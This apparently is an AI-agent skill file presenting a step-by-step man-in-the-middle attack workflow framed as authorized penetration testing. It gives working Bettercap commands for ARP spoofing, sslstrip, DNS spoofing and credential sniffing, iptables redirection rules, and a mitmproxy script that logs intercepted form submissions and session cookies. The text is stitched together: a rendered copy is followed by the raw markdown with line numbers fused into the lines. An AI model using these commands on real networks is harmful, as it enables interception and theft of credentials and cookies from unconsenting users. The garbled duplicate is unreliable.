Conducting Man-in-the-Middle Attack Simulation
When to Use
- Testing whether applications properly validate TLS certificates and enforce encrypted communications
- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
- Training incident response teams to identify and respond to MITM attack indicators
Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.
Prerequisites
- Written authorization specifying in-scope targets and approved MITM techniques
- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
- Layer 2 access to the same network segment as target hosts
- Custom CA certificate for TLS interception testing (generated specifically for the engagement)
- Wireshark or tshark for capturing and verifying intercepted traffic
- Isolated lab environment or approved production test window with rollback procedures
Workflow
Step 1: Set Up the Attack Environment
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
-subj "/CN=MITM Test CA/O=Security Assessment/C=US"
# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
Step 2: Execute ARP-Based MITM with Bettercap
# Start Bettercap with interactive mode
sudo bettercap -iface eth0
# Enable network probing to discover hosts
> net.probe on
# Display discovered hosts
> net.show
# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
# Start ARP spoofing
> arp.spoof on
# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on
# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy
# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
--set ssl_insecure=true -w mitm_capture.flow
# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
content_type = flow.request.headers.get("content-type", "")
if "form" in content_type or "json" in content_type:
with open("captured_forms.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Data: {flow.request.get_text()}\n")
f.write("---\n")
def response(flow: http.HTTPFlow):
# Log authentication cookies
if "set-cookie" in flow.response.headers:
with open("captured_cookies.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
f.write("---\n")
PYEOF
sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow
📎 Detailed content (full examples / references / data tables) has been split into reference.md in the same directory; use Read to load the relevant section on demand.
1---2name: conducting-man-in-the-middle-attack-simulation3description: "Simulate man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap. Signals: MITM, mitm, sniffing."4zh-signals: "Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap 信号:中间人,mitm,嗅探。"5when-to-use: 'Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap6 in authorized environments to intercept, analyze, and modify network traffic for7 testing encryption enforcement, certificate validation, and detection capabilities.89 '10domain: cybersecurity11subdomain: network-security12tags:13- network-security14- mitm15- bettercap16- ettercap17- mitmproxy18version: '1.0'19author: mahipal20license: Apache-2.021nist_csf:22- PR.IR-0123- DE.CM-0124- ID.AM-0325- PR.DS-0226mitre_attack:27- T1557.00128- T1557.00229- T104030metadata:31 source: https://skillmd.com/skills/dangeroussong/conducting-man-in-the-middle-attack-simulation32---3334# Conducting Man-in-the-Middle Attack Simulation3536## When to Use3738- Testing whether applications properly validate TLS certificates and enforce encrypted communications39- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders40- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented41- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks42- Training incident response teams to identify and respond to MITM attack indicators4344**Do not use** on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.4546## Prerequisites4748- Written authorization specifying in-scope targets and approved MITM techniques49- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine50- Layer 2 access to the same network segment as target hosts51- Custom CA certificate for TLS interception testing (generated specifically for the engagement)52- Wireshark or tshark for capturing and verifying intercepted traffic53- Isolated lab environment or approved production test window with rollback procedures5455## Workflow5657### Step 1: Set Up the Attack Environment5859```bash60# Enable IP forwarding61sudo sysctl -w net.ipv4.ip_forward=162sudo sysctl -w net.ipv6.conf.all.forwarding=16364# Disable ICMP redirects65sudo sysctl -w net.ipv4.conf.all.send_redirects=06667# Generate a CA certificate for TLS interception68openssl genrsa -out mitm-ca.key 409669openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \70 -subj "/CN=MITM Test CA/O=Security Assessment/C=US"7172# Discover hosts on the target network73sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"74```7576### Step 2: Execute ARP-Based MITM with Bettercap7778```bash79# Start Bettercap with interactive mode80sudo bettercap -iface eth08182# Enable network probing to discover hosts83> net.probe on8485# Display discovered hosts86> net.show8788# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)89> set arp.spoof.targets 192.168.1.5090> set arp.spoof.fullduplex true9192# Start ARP spoofing93> arp.spoof on9495# Enable HTTP proxy for traffic inspection96> set http.proxy.sslstrip true97> http.proxy on9899# Enable HTTPS proxy with certificate interception100> set https.proxy.certificate mitm-ca.crt101> set https.proxy.key mitm-ca.key102> https.proxy on103104# Enable DNS spoofing for specific domains105> set dns.spoof.domains example.com,*.example.com106> set dns.spoof.address 192.168.1.99107> dns.spoof on108109# Enable credential sniffer110> set net.sniff.verbose true111> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"112> net.sniff on113```114115### Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy116117```bash118# Start mitmproxy as transparent proxy119sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \120 --set ssl_insecure=true -w mitm_capture.flow121122# Configure iptables to redirect traffic through mitmproxy123sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080124sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080125126# Use mitmproxy scripting for automated credential extraction127cat > extract_creds.py << 'PYEOF'128"""mitmproxy script to extract credentials from intercepted traffic."""129from mitmproxy import http130import json131132def request(flow: http.HTTPFlow):133 if flow.request.method == "POST":134 content_type = flow.request.headers.get("content-type", "")135 if "form" in content_type or "json" in content_type:136 with open("captured_forms.log", "a") as f:137 f.write(f"URL: {flow.request.pretty_url}\n")138 f.write(f"Data: {flow.request.get_text()}\n")139 f.write("---\n")140141def response(flow: http.HTTPFlow):142 # Log authentication cookies143 if "set-cookie" in flow.response.headers:144 with open("captured_cookies.log", "a") as f:145 f.write(f"URL: {flow.request.pretty_url}\n")146 f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")147 f.write("---\n")148PYEOF149150sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow151```152153> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.